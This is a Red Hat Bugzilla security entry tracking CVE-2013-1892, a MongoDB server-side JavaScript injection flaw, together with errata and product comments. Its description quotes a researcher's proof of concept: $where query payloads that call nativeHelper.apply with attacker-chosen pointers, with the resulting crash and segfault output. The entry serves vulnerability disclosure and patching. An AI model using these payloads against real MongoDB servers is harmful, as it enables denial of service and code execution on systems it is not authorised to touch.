Bug 927536 (CVE-2013-1892) - CVE-2013-1892 MongoDB: Server Side JavaScript Includes allow Remote Code Execution
Summary: CVE-2013-1892 MongoDB: Server Side JavaScript Includes allow Remote Code Exec...
Keywords:
Status: CLOSED ERRATA
Alias: CVE-2013-1892
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard:
Depends On: 928192 928193 928194 928195 928639 928640 928641 969587
Blocks: 928628
TreeView+ depends on / blocked
 
Reported: 2013-03-26 07:19 UTC by Kurt Seifried
Modified: 2020-09-18 15:06 UTC (History)
27 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2014-09-07 05:08:24 UTC


Attachments (Terms of Use)


Links
System ID Priority Status Summary Last Updated
Debian BTS 704042 None None None Never
Red Hat Product Errata RHSA-2013:1170 normal SHIPPED_LIVE Important: mongodb and pymongo security and enhancement update 2013-08-21 21:27:48 UTC

Description Kurt Seifried 2013-03-26 07:19:51 UTC
SCRT Information Security reports:

mongodb – SSJI to RCE
Posted on mars 24, 2013	 par agixid
Lucky discovery

Trying some server side javascript injection in mongodb, I wondered if it would be possible to pop a shell.
The run method seems good for this :

> run("uname","-a")
Sun Mar 24 07:09:49 shell: started program uname -a
sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux
0
Unfortunately, this command is only effective in mongo client :

> db.my_collection.find({$where:"run('ls')"})
error: {
 "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0",
 "code" : 10071
}
But let’s dig a little bit.

> run
function () {
    return nativeHelper.apply(run_, arguments);
}
So you can run the « run » function directly by calling nativeHelper.apply(run_,["uname","-a"]);
In server side, the result show us that nativeHelper.apply method exists !

> db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'})
error: {
       "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0",
       "code" : 10071
}
So what’s run_ ?

So what's "run_"
> run_
{ "x" : 135246144 }
An associative array, can we use it in server side ?

> db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})
Sun Mar 24 07:15:26 DBClientCursor::init call() failed
Sun Mar 24 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017
Error: error doing query: failed
Sun Mar 24 07:15:26 trying reconnect to 127.0.0.1:27017
Sun Mar 24 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017
The server crashed \o/ !

Let’s check the source code :
./src/mongo/scripting/engine_spidermonkey.cpp

JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {
        try {
            Convertor c(cx);
            NativeFunction func = reinterpret_cast(
                    static_cast( c.getNumber( obj , "x" ) ) );
            void* data = reinterpret_cast<void*>(
                    static_cast( c.getNumber( obj , "y" ) ) );
            verify( func );

            BSONObj a;
            if ( argc > 0 ) {
                BSONObjBuilder args;
                for ( uintN i = 0; i < argc; ++i ) {
                    c.append( args , args.numStr( i ) , argv[i] );
                }
                a = args.obj();
            }

            BSONObj out;
            try {
                out = func( a, data );
            }
            catch ( std::exception& e ) {
nativeHelper is a crazy feature in spidermonkey missused by mongodb:
the NativeFunction func come from x javascript object and then is called without any check !!!

> db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})

Sun Mar 24 07:20:03 Invalid access at address: 0x31337 from thread: conn1
Sun Mar 24 07:20:03 Got signal: 11 (Segmentation fault).

External references:
http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/

Comment 1 Troy Dawson 2013-03-26 15:59:19 UTC
Has this been tried on the Fedora's mongodb?
I ask that because we use v8 instead of spidermonkey, but I'm not positive that our version of mongodb didn't get something slipped in.

Comment 2 Kurt Seifried 2013-03-27 05:56:52 UTC
Created mongodb tracking bugs for this issue

Affects: epel-all [bug 928192]

Comment 3 Kurt Seifried 2013-03-27 05:58:04 UTC
Created mongodb tracking bugs for this issue

Affects: fedora-all [bug 928193]

Comment 6 Jan Lieskovsky 2013-03-27 11:00:23 UTC
References:
  http://www.openwall.com/lists/oss-security/2013/03/25/7

Relevant upstream tracker:
  https://jira.mongodb.org/browse/SERVER-9124

Comment 11 Kurt Seifried 2013-07-26 06:15:27 UTC
Removed due to typo.

Comment 12 errata-xmlrpc 2013-08-21 17:29:32 UTC
This issue has been addressed in following products:

  MRG for RHEL-6 v.2

Via RHSA-2013:1170 https://rhn.redhat.com/errata/RHSA-2013-1170.html

Comment 13 Kurt Seifried 2014-08-08 19:39:52 UTC
Red Hat Update Infrastructure 2.1.3 is now in Production 2 Phase of the support and maintenance life cycle. This has been rated as having Important security impact, however as used in RHUI this issue is not exposed to untrusted users, as such it is not currently planned to be addressed in future updates. For additional information, refer to the Red Hat Update Infrastructure Life Cycle: https://access.redhat.com/support/policy/updates/rhui.


Note You need to log in before you can comment on or make changes to this bug.